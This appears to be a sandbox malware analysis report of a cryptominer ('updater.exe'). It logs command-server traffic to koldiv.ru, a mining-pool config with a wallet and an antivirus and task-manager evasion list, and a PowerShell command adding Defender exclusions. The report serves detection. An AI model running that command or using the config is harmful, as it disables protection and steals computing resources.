Jul 22, 2024 15:45:44.560246944 CEST	12222	49718	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:44.560590029 CEST	49718	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:44.569441080 CEST	49718	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:44.574475050 CEST	12222	49718	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:46.305737019 CEST	12222	49718	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:46.305830002 CEST	49718	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:46.334847927 CEST	49718	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:46.339806080 CEST	12222	49718	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:51.630517006 CEST	49719	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:51.635719061 CEST	12222	49719	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:51.635898113 CEST	49719	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:51.636220932 CEST	49719	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:51.641834974 CEST	12222	49719	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:53.605153084 CEST	12222	49719	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:53.607256889 CEST	12222	49719	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:53.607364893 CEST	49719	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:53.607481956 CEST	49719	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:53.613910913 CEST	12222	49719	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:58.693212986 CEST	49721	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:58.699029922 CEST	12222	49721	162.19.139.184	192.168.2.5
Jul 22, 2024 15:45:58.699129105 CEST	49721	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:58.705199003 CEST	49721	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:45:58.732285976 CEST	12222	49721	162.19.139.184	192.168.2.5
Jul 22, 2024 15:46:00.671331882 CEST	12222	49721	162.19.139.184	192.168.2.5
Jul 22, 2024 15:46:00.671478987 CEST	49721	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:46:00.671572924 CEST	49721	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:46:00.671821117 CEST	12222	49721	162.19.139.184	192.168.2.5
Jul 22, 2024 15:46:00.671885014 CEST	49721	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:46:00.676615000 CEST	12222	49721	162.19.139.184	192.168.2.5
Jul 22, 2024 15:46:05.770914078 CEST	49722	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:46:05.776046991 CEST	12222	49722	162.19.139.184	192.168.2.5
Jul 22, 2024 15:46:05.776130915 CEST	49722	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:46:05.785095930 CEST	49723	80	192.168.2.5	77.222.57.251
Jul 22, 2024 15:46:05.789989948 CEST	80	49723	77.222.57.251	192.168.2.5
Jul 22, 2024 15:46:05.792300940 CEST	49723	80	192.168.2.5	77.222.57.251
Jul 22, 2024 15:46:05.801727057 CEST	49723	80	192.168.2.5	77.222.57.251
Jul 22, 2024 15:46:05.808325052 CEST	80	49723	77.222.57.251	192.168.2.5
Jul 22, 2024 15:46:05.808376074 CEST	49723	80	192.168.2.5	77.222.57.251
Jul 22, 2024 15:46:05.814193964 CEST	80	49723	77.222.57.251	192.168.2.5
Jul 22, 2024 15:46:06.695324898 CEST	80	49723	77.222.57.251	192.168.2.5
Jul 22, 2024 15:46:06.695597887 CEST	80	49723	77.222.57.251	192.168.2.5
Jul 22, 2024 15:46:06.695614100 CEST	80	49723	77.222.57.251	192.168.2.5
Jul 22, 2024 15:46:06.695664883 CEST	49723	80	192.168.2.5	77.222.57.251
Jul 22, 2024 15:46:06.695708990 CEST	49723	80	192.168.2.5	77.222.57.251
Jul 22, 2024 15:46:06.696381092 CEST	80	49723	77.222.57.251	192.168.2.5
Jul 22, 2024 15:46:06.696405888 CEST	49722	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:46:06.696428061 CEST	49723	80	192.168.2.5	77.222.57.251
Jul 22, 2024 15:46:06.707659960 CEST	80	49723	77.222.57.251	192.168.2.5
Jul 22, 2024 15:46:06.711823940 CEST	12222	49722	162.19.139.184	192.168.2.5
Jul 22, 2024 15:46:06.737633944 CEST	12222	49722	162.19.139.184	192.168.2.5
Jul 22, 2024 15:46:06.737854958 CEST	49722	12222	192.168.2.5	162.19.139.184
Jul 22, 2024 15:46:06.738567114 CEST	49724	443	192.168.2.5	141.94.96.195
Jul 22, 2024 15:46:06.738611937 CEST	443	49724	141.94.96.195	192.168.2.5
Jul 22, 2024 15:46:06.738817930 CEST	49724	443	192.168.2.5	141.94.96.195
Jul 22, 2024 15:46:06.739300966 CEST	49724	443	192.168.2.5	141.94.96.195
Jul 22, 2024 15:46:06.739314079 CEST	443	49724	141.94.96.195	192.168.2.5
Jul 22, 2024 15:46:08.013176918 CEST	443	49724	141.94.96.195	192.168.2.5
Jul 22, 2024 15:46:08.036240101 CEST	49724	443	192.168.2.5	141.94.96.195
Jul 22, 2024 15:46:08.036273003 CEST	443	49724	141.94.96.195	192.168.2.5
Jul 22, 2024 15:46:08.037463903 CEST	443	49724	141.94.96.195	192.168.2.5
Jul 22, 2024 15:46:08.037539005 CEST	49724	443	192.168.2.5	141.94.96.195
Jul 22, 2024 15:46:08.039031029 CEST	49724	443	192.168.2.5	141.94.96.195
Jul 22, 2024 15:46:08.039155006 CEST	443	49724	141.94.96.195	192.168.2.5
Jul 22, 2024 15:46:08.084229946 CEST	49724	443	192.168.2.5	141.94.96.195
Jul 22, 2024 15:46:08.084253073 CEST	443	49724	141.94.96.195	192.168.2.5
Jul 22, 2024 15:46:08.132241964 CEST	49724	443	192.168.2.5	141.94.96.195
Jul 22, 2024 15:46:08.236984968 CEST	443	49724	141.94.96.195	192.168.2.5
Jul 22, 2024 15:46:08.286140919 CEST	49724	443	192.168.2.5	141.94.96.195
Jul 22, 2024 15:46:52.627979994 CEST	49724	443	192.168.2.5	141.94.96.195
Jul 22, 2024 15:46:52.668500900 CEST	443	49724	141.94.96.195	192.168.2.5
Jul 22, 2024 15:46:52.898170948 CEST	443	49724	141.94.96.195	192.168.2.5
Jul 22, 2024 15:46:52.942261934 CEST	49724	443	192.168.2.5	141.94.96.195

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 22, 2024 15:45:05.821445942 CEST	52943	53	192.168.2.5	1.1.1.1
Jul 22, 2024 15:45:05.831835032 CEST	53	52943	1.1.1.1	192.168.2.5
Jul 22, 2024 15:45:06.856748104 CEST	62668	53	192.168.2.5	1.1.1.1
Jul 22, 2024 15:45:06.996658087 CEST	53	62668	1.1.1.1	192.168.2.5
Jul 22, 2024 15:45:07.821969032 CEST	65466	53	192.168.2.5	1.1.1.1
Jul 22, 2024 15:45:07.830107927 CEST	53	65466	1.1.1.1	192.168.2.5
Jul 22, 2024 15:46:06.697997093 CEST	60971	53	192.168.2.5	1.1.1.1
Jul 22, 2024 15:46:06.737618923 CEST	53	60971	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 22, 2024 15:45:05.821445942 CEST	192.168.2.5	1.1.1.1	0xb153	Standard query (0)	xmr.2miners.com	A (IP address)	IN (0x0001)	false
Jul 22, 2024 15:45:06.856748104 CEST	192.168.2.5	1.1.1.1	0x9691	Standard query (0)	koldiv.ru	A (IP address)	IN (0x0001)	false
Jul 22, 2024 15:45:07.821969032 CEST	192.168.2.5	1.1.1.1	0x2373	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false
Jul 22, 2024 15:46:06.697997093 CEST	192.168.2.5	1.1.1.1	0x417e	Standard query (0)	pool.supportxmr.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 22, 2024 15:45:05.831835032 CEST	1.1.1.1	192.168.2.5	0xb153	No error (0)	xmr.2miners.com		162.19.139.184	A (IP address)	IN (0x0001)	false
Jul 22, 2024 15:45:06.996658087 CEST	1.1.1.1	192.168.2.5	0x9691	No error (0)	koldiv.ru		77.222.57.251	A (IP address)	IN (0x0001)	false
Jul 22, 2024 15:45:07.830107927 CEST	1.1.1.1	192.168.2.5	0x2373	No error (0)	pastebin.com		104.20.4.235	A (IP address)	IN (0x0001)	false
Jul 22, 2024 15:45:07.830107927 CEST	1.1.1.1	192.168.2.5	0x2373	No error (0)	pastebin.com		172.67.19.24	A (IP address)	IN (0x0001)	false
Jul 22, 2024 15:45:07.830107927 CEST	1.1.1.1	192.168.2.5	0x2373	No error (0)	pastebin.com		104.20.3.235	A (IP address)	IN (0x0001)	false
Jul 22, 2024 15:46:06.737618923 CEST	1.1.1.1	192.168.2.5	0x417e	No error (0)	pool.supportxmr.com	pool-fr.supportxmr.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 22, 2024 15:46:06.737618923 CEST	1.1.1.1	192.168.2.5	0x417e	No error (0)	pool-fr.supportxmr.com		141.94.96.71	A (IP address)	IN (0x0001)	false
Jul 22, 2024 15:46:06.737618923 CEST	1.1.1.1	192.168.2.5	0x417e	No error (0)	pool-fr.supportxmr.com		141.94.96.144	A (IP address)	IN (0x0001)	false
Jul 22, 2024 15:46:06.737618923 CEST	1.1.1.1	192.168.2.5	0x417e	No error (0)	pool-fr.supportxmr.com		141.94.96.195	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pastebin.com

koldiv.ru

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	77.222.57.251	80	5596	C:\Windows\System32\conhost.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:45:07.006606102 CEST	115	OUT	GET /http://koldiv.ru HTTP/1.1 Accept: / Connection: close Host: koldiv.ru User-Agent: cpp-httplib/0.12.6
Jul 22, 2024 15:45:07.820501089 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx/1.25.4 Date: Mon, 22 Jul 2024 13:45:07 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Language: en Data Raw: 34 30 62 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 77 65 62 6d 61 73 74 65 72 40 6b 6f 6c 64 69 76 2e 72 75 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 [TRUNCATED] Data Ascii: 40b<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>Object not found!</title><link rev="made" href="mailto:webmaster@koldiv.ru" /><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; } a:link { color: #0000CC; } p, address {margin-left: 3em;} span {font-size: smaller;}/...*/--></style></head><body><h1>Object not found!</h1><p> The requested URL was not found on this server. If you entered the URL manually please check your spelling and try again. </p><p>If you think this is a server error, please contactthe <a href="mailto:webmaster@koldiv.ru">webmaster</a>.</p><h2>Error 404</h2><address> <a href="/">koldiv.ru</a><br /> <span>Mon Jul 22 16:45
Jul 22, 2024 15:45:07.821124077 CEST	93	IN	Data Raw: 3a 30 37 20 32 30 32 34 3c 62 72 20 2f 3e 0a 20 20 41 70 61 63 68 65 2f 32 2e 32 2e 32 39 20 28 47 65 6e 74 6f 6f 29 20 50 48 50 2f 37 2e 31 2e 33 33 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d Data Ascii: :07 2024<br /> Apache/2.2.29 (Gentoo) PHP/7.1.33</span></address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49708	77.222.57.251	80	5596	C:\Windows\System32\conhost.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:45:10.286242962 CEST	169	OUT	POST /api/endpoint.php HTTP/1.1 Accept: / Connection: close Content-Length: 366 Content-Type: application/json Host: koldiv.ru User-Agent: cpp-httplib/0.12.6
Jul 22, 2024 15:45:10.291414022 CEST	366	OUT	Data Raw: 7b 22 69 64 22 3a 22 76 61 7a 61 73 78 61 72 6c 70 6b 6e 66 78 72 77 22 2c 22 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 3a 22 37 32 31 36 38 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 59 53 54 45 4d 22 2c 22 67 70 75 22 3a 22 38 56 46 44 4e 53 Data Ascii: {"id":"vazasxarlpknfxrw","computername":"721680","username":"SYSTEM","gpu":"8VFDNSMY","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"http://koldiv.ru,https://pastebin.com/raw/HpN5DV4T,htt
Jul 22, 2024 15:45:11.088618040 CEST	233	IN	HTTP/1.1 200 OK Server: nginx/1.25.4 Date: Mon, 22 Jul 2024 13:45:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 17 Connection: close X-Robots-Tag: noindex, nofollow X-Powered-By: PHP/7.1.33 Data Raw: 7b 22 72 65 73 70 6f 6e 73 65 22 3a 22 6f 6b 22 7d Data Ascii: {"response":"ok"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49723	77.222.57.251	80	5596	C:\Windows\System32\conhost.exe

Timestamp	Bytes transferred	Direction	Data
Jul 22, 2024 15:46:05.801727057 CEST	169	OUT	POST /api/endpoint.php HTTP/1.1 Accept: / Connection: close Content-Length: 367 Content-Type: application/json Host: koldiv.ru User-Agent: cpp-httplib/0.12.6
Jul 22, 2024 15:46:05.808376074 CEST	367	OUT	Data Raw: 7b 22 69 64 22 3a 22 76 61 7a 61 73 78 61 72 6c 70 6b 6e 66 78 72 77 22 2c 22 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 3a 22 37 32 31 36 38 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 59 53 54 45 4d 22 2c 22 67 70 75 22 3a 22 38 56 46 44 4e 53 Data Ascii: {"id":"vazasxarlpknfxrw","computername":"721680","username":"SYSTEM","gpu":"8VFDNSMY","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"http://koldiv.ru,https://pastebin.com/raw/HpN5DV4T,htt
Jul 22, 2024 15:46:06.695324898 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.25.4 Date: Mon, 22 Jul 2024 13:46:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2750 Connection: close Vary: Accept-Encoding X-Robots-Tag: noindex, nofollow X-Powered-By: PHP/7.1.33 Data Raw: 7b 0d 0a 20 20 20 20 22 61 6c 67 6f 22 3a 20 22 72 78 2f 30 22 2c 0d 0a 20 20 20 20 22 70 6f 6f 6c 22 3a 20 22 70 6f 6f 6c 2e 73 75 70 70 6f 72 74 78 6d 72 2e 63 6f 6d 22 2c 0d 0a 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0d 0a 20 20 20 20 22 77 61 6c 6c 65 74 22 3a 20 22 38 37 6f 77 59 77 4d 56 75 48 53 69 38 79 5a 50 57 34 55 67 43 72 51 76 61 62 36 78 6b 70 46 69 55 58 32 75 43 31 52 4d 78 54 47 31 44 4a 75 6b 42 55 57 70 59 31 58 44 6b 72 31 68 62 4a 4d 59 41 59 5a 78 31 52 59 64 41 4c 47 73 47 66 36 43 44 74 41 6f 67 7a 67 56 35 41 6a 50 62 77 78 22 2c 0d 0a 20 20 20 20 22 70 61 73 73 77 6f 72 64 22 3a 20 22 33 34 32 33 31 35 35 36 34 33 22 2c 0d 0a 20 20 20 20 22 6e 69 63 65 68 61 73 68 22 3a 20 66 61 6c 73 65 2c 0d 0a 20 20 20 20 22 73 73 6c 74 6c 73 22 3a 20 74 72 75 65 2c 0d 0a 20 20 20 20 22 6d 61 78 2d 63 70 75 22 3a 20 32 30 2c 0d 0a 20 20 20 20 22 69 64 6c 65 2d 77 61 69 74 22 3a 20 35 2c 0d 0a 20 20 20 20 22 69 64 6c 65 2d 63 70 75 22 3a 20 39 30 2c 0d 0a 20 20 20 20 22 73 74 65 [TRUNCATED] Data Ascii: { "algo": "rx/0", "pool": "pool.supportxmr.com", "port": 443, "wallet": "87owYwMVuHSi8yZPW4UgCrQvab6xkpFiUX2uC1RMxTG1DJukBUWpY1XDkr1hbJMYAYZx1RYdALGsGf6CDtAogzgV5AjPbwx", "password": "3423155643", "nicehash": false, "ssltls": true, "max-cpu": 20, "idle-wait": 5, "idle-cpu": 90, "stealth-targets": "Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexp64.exe,ModernWarfare.exe,ShooterGame.exe,ShooterGameServer.exe,ShooterGame_BE.exe,GenshinImpact.exe,FactoryGame.exe,Borderlands2.exe,EliteDangerous64.exe,PlanetCoaster.exe,Warframe.x64.exe,NMS.exe,RainbowSix.exe,RainbowSix_BE.exe,CK2game.exe,ck3.exe,stellaris.exe,arma3.exe,arma3_x64.exe,TslGame.exe,ffxiv.exe,ffxiv_dx11.exe,GTA5.exe,FortniteClient-Win64-Shipping.exe,r5apex.exe,VALORANT.exe,csgo.exe,PortalWars-Win64-Shipping.exe,FiveM.exe,left4dead2.exe,FIFA21.exe,BlackOpsColdWar.exe,EscapeFromTarkov.exe,TEKKEN 7.exe,SRTTR.exe,DeadByDaylight-Win64-Shipping.exe,PointBlank.exe,
Jul 22, 2024 15:46:06.695597887 CEST	1236	IN	Data Raw: 65 6e 6c 69 73 74 65 64 2e 65 78 65 2c 57 6f 72 6c 64 4f 66 54 61 6e 6b 73 2e 65 78 65 2c 53 6f 54 47 61 6d 65 2e 65 78 65 2c 46 69 76 65 4d 5f 62 32 31 38 39 5f 47 54 41 50 72 6f 63 65 73 73 2e 65 78 65 2c 4e 61 72 61 6b 61 42 6c 61 64 65 70 6f Data Ascii: enlisted.exe,WorldOfTanks.exe,SoTGame.exe,FiveM_b2189_GTAProcess.exe,NarakaBladepoint.exe,re8.exe,Sonic Colors - Ultimate.exe,iw6sp64_ship.exe,RocketLeague.exe,Cyberpunk2077.exe,FiveM_GTAProcess.exe,RustClient.exe,Photoshop.exe,VideoEditorPlus
Jul 22, 2024 15:46:06.695614100 CEST	519	IN	Data Raw: 65 2c 20 61 76 6b 77 63 74 6c 2e 65 78 65 2c 20 66 73 61 76 33 32 2e 65 78 65 2c 20 6d 63 73 68 69 65 6c 64 2e 65 78 65 2c 20 6e 74 72 74 73 63 61 6e 2e 65 78 65 2c 20 61 76 67 75 61 72 64 2e 65 78 65 2c 20 61 73 68 53 65 72 76 2e 65 78 65 2c 20 Data Ascii: e, avkwctl.exe, fsav32.exe, mcshield.exe, ntrtscan.exe, avguard.exe, ashServ.exe, AVENGINE.exe,avgemc.exe,tmntsrv.exe,advchk.exe,ahnsd.exe,alertsvc.exe,avmaisrv.exe,avsynmgr.exe,bitdefender_p2p_startup.exe,cavrid.exe,cavtray.exe,cmgrdian.exe,f

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	104.20.4.235	443	5596	C:\Windows\System32\conhost.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-22 13:45:08 UTC	114	OUT	GET /raw/HpN5DV4T HTTP/1.1 Accept: / Connection: close Host: pastebin.com User-Agent: cpp-httplib/0.12.6
2024-07-22 13:45:09 UTC	391	IN	HTTP/1.1 200 OK Date: Mon, 22 Jul 2024 13:45:08 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Sat, 20 Jul 2024 16:54:30 GMT Server: cloudflare CF-RAY: 8a73de937de74401-EWR
2024-07-22 13:45:09 UTC	7	IN	Data Raw: 32 0d 0a 31 32 0d 0a Data Ascii: 212
2024-07-22 13:45:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49707	104.20.4.235	443	5596	C:\Windows\System32\conhost.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-22 13:45:09 UTC	114	OUT	GET /raw/xhASwz5f HTTP/1.1 Accept: / Connection: close Host: pastebin.com User-Agent: cpp-httplib/0.12.6
2024-07-22 13:45:10 UTC	391	IN	HTTP/1.1 200 OK Date: Mon, 22 Jul 2024 13:45:10 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Sat, 20 Jul 2024 16:54:53 GMT Server: cloudflare CF-RAY: 8a73de9bd94432e2-EWR
2024-07-22 13:45:10 UTC	7	IN	Data Raw: 32 0d 0a 31 32 0d 0a Data Ascii: 212
2024-07-22 13:45:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49724	141.94.96.195	443	5596	C:\Windows\System32\conhost.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-22 13:46:08 UTC	601	OUT	Data Raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6c 6f 67 69 6e 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 6c 6f 67 69 6e 22 3a 22 38 37 6f 77 59 77 4d 56 75 48 53 69 38 79 5a 50 57 34 55 67 43 72 51 76 61 62 36 78 6b 70 46 69 55 58 32 75 43 31 52 4d 78 54 47 31 44 4a 75 6b 42 55 57 70 59 31 58 44 6b 72 31 68 62 4a 4d 59 41 59 5a 78 31 52 59 64 41 4c 47 73 47 66 36 43 44 74 41 6f 67 7a 67 56 35 41 6a 50 62 77 78 22 2c 22 70 61 73 73 22 3a 22 33 34 32 33 31 35 35 36 34 33 22 2c 22 61 67 65 6e 74 22 3a 22 58 4d 52 69 67 2f 36 2e 31 39 2e 33 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 6c 69 62 75 76 2f 31 2e 33 38 2e 30 20 6d 73 76 63 2f 32 30 32 32 22 2c 22 72 Data Ascii: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"87owYwMVuHSi8yZPW4UgCrQvab6xkpFiUX2uC1RMxTG1DJukBUWpY1XDkr1hbJMYAYZx1RYdALGsGf6CDtAogzgV5AjPbwx","pass":"3423155643","agent":"XMRig/6.19.3 (Windows NT 10.0; Win64; x64) libuv/1.38.0 msvc/2022","r
2024-07-22 13:46:08 UTC	539	IN	Data Raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 65 72 72 6f 72 22 3a 6e 75 6c 6c 2c 22 72 65 73 75 6c 74 22 3a 7b 22 69 64 22 3a 22 37 61 61 38 34 35 61 31 2d 33 35 65 36 2d 34 38 33 32 2d 38 39 36 37 2d 65 31 61 33 61 38 39 30 65 39 63 36 22 2c 22 6a 6f 62 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 38 31 63 35 66 39 62 34 30 36 63 63 66 38 65 30 62 63 32 31 63 32 65 33 36 65 61 38 37 31 32 64 31 34 32 39 61 38 64 39 62 66 66 61 63 34 63 65 62 36 65 34 38 37 36 62 37 39 63 38 35 32 31 34 62 34 39 63 33 65 38 62 31 38 30 30 30 30 30 30 30 30 66 63 62 33 38 34 62 38 38 37 37 30 66 33 35 31 32 34 31 64 62 62 34 62 35 38 37 38 62 62 38 63 37 63 32 61 32 62 62 66 61 62 38 66 64 39 34 32 35 62 30 35 61 39 38 35 64 32 63 30 32 63 39 Data Ascii: {"id":1,"jsonrpc":"2.0","error":null,"result":{"id":"7aa845a1-35e6-4832-8967-e1a3a890e9c6","job":{"blob":"101081c5f9b406ccf8e0bc21c2e36ea8712d1429a8d9bffac4ceb6e4876b79c85214b49c3e8b1800000000fcb384b88770f351241dbb4b5878bb8c7c2a2bbfab8fd9425b05a985d2c02c9
2024-07-22 13:46:52 UTC	234	OUT	Data Raw: 7b 22 69 64 22 3a 32 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 73 75 62 6d 69 74 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 69 64 22 3a 22 37 61 61 38 34 35 61 31 2d 33 35 65 36 2d 34 38 33 32 2d 38 39 36 37 2d 65 31 61 33 61 38 39 30 65 39 63 36 22 2c 22 6a 6f 62 5f 69 64 22 3a 22 36 50 50 69 79 58 6c 56 54 63 66 36 50 4c 79 47 63 66 49 73 61 79 66 47 69 30 69 55 22 2c 22 6e 6f 6e 63 65 22 3a 22 64 33 30 66 30 30 30 30 22 2c 22 72 65 73 75 6c 74 22 3a 22 31 65 35 66 32 62 62 37 66 62 38 63 30 38 64 33 36 37 64 61 66 37 38 38 37 34 65 38 61 36 65 62 38 62 37 37 31 61 31 35 37 63 61 39 31 37 61 32 33 37 34 61 61 35 36 32 32 65 34 64 30 30 30 30 22 7d 7d 0d 0a Data Ascii: {"id":2,"jsonrpc":"2.0","method":"submit","params":{"id":"7aa845a1-35e6-4832-8967-e1a3a890e9c6","job_id":"6PPiyXlVTcf6PLyGcfIsayfGi0iU","nonce":"d30f0000","result":"1e5f2bb7fb8c08d367daf78874e8a6eb8b771a157ca917a2374aa5622e4d0000"}}
2024-07-22 13:46:52 UTC	63	IN	Data Raw: 7b 22 69 64 22 3a 32 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 65 72 72 6f 72 22 3a 6e 75 6c 6c 2c 22 72 65 73 75 6c 74 22 3a 7b 22 73 74 61 74 75 73 22 3a 22 4f 4b 22 7d 7d 0a Data Ascii: {"id":2,"jsonrpc":"2.0","error":null,"result":{"status":"OK"}}

Target ID:	0
Start time:	09:44:53
Start date:	22/07/2024
Path:	C:\Users\user\Desktop\updater.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\updater.exe"
Imagebase:	0x7ff63b2a0000
File size:	5'285'888 bytes
MD5 hash:	D82677AC9971E38439A6F8069E8BA5BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:44:58
Start date:	22/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:44:58
Start date:	22/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:45:01
Start date:	22/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
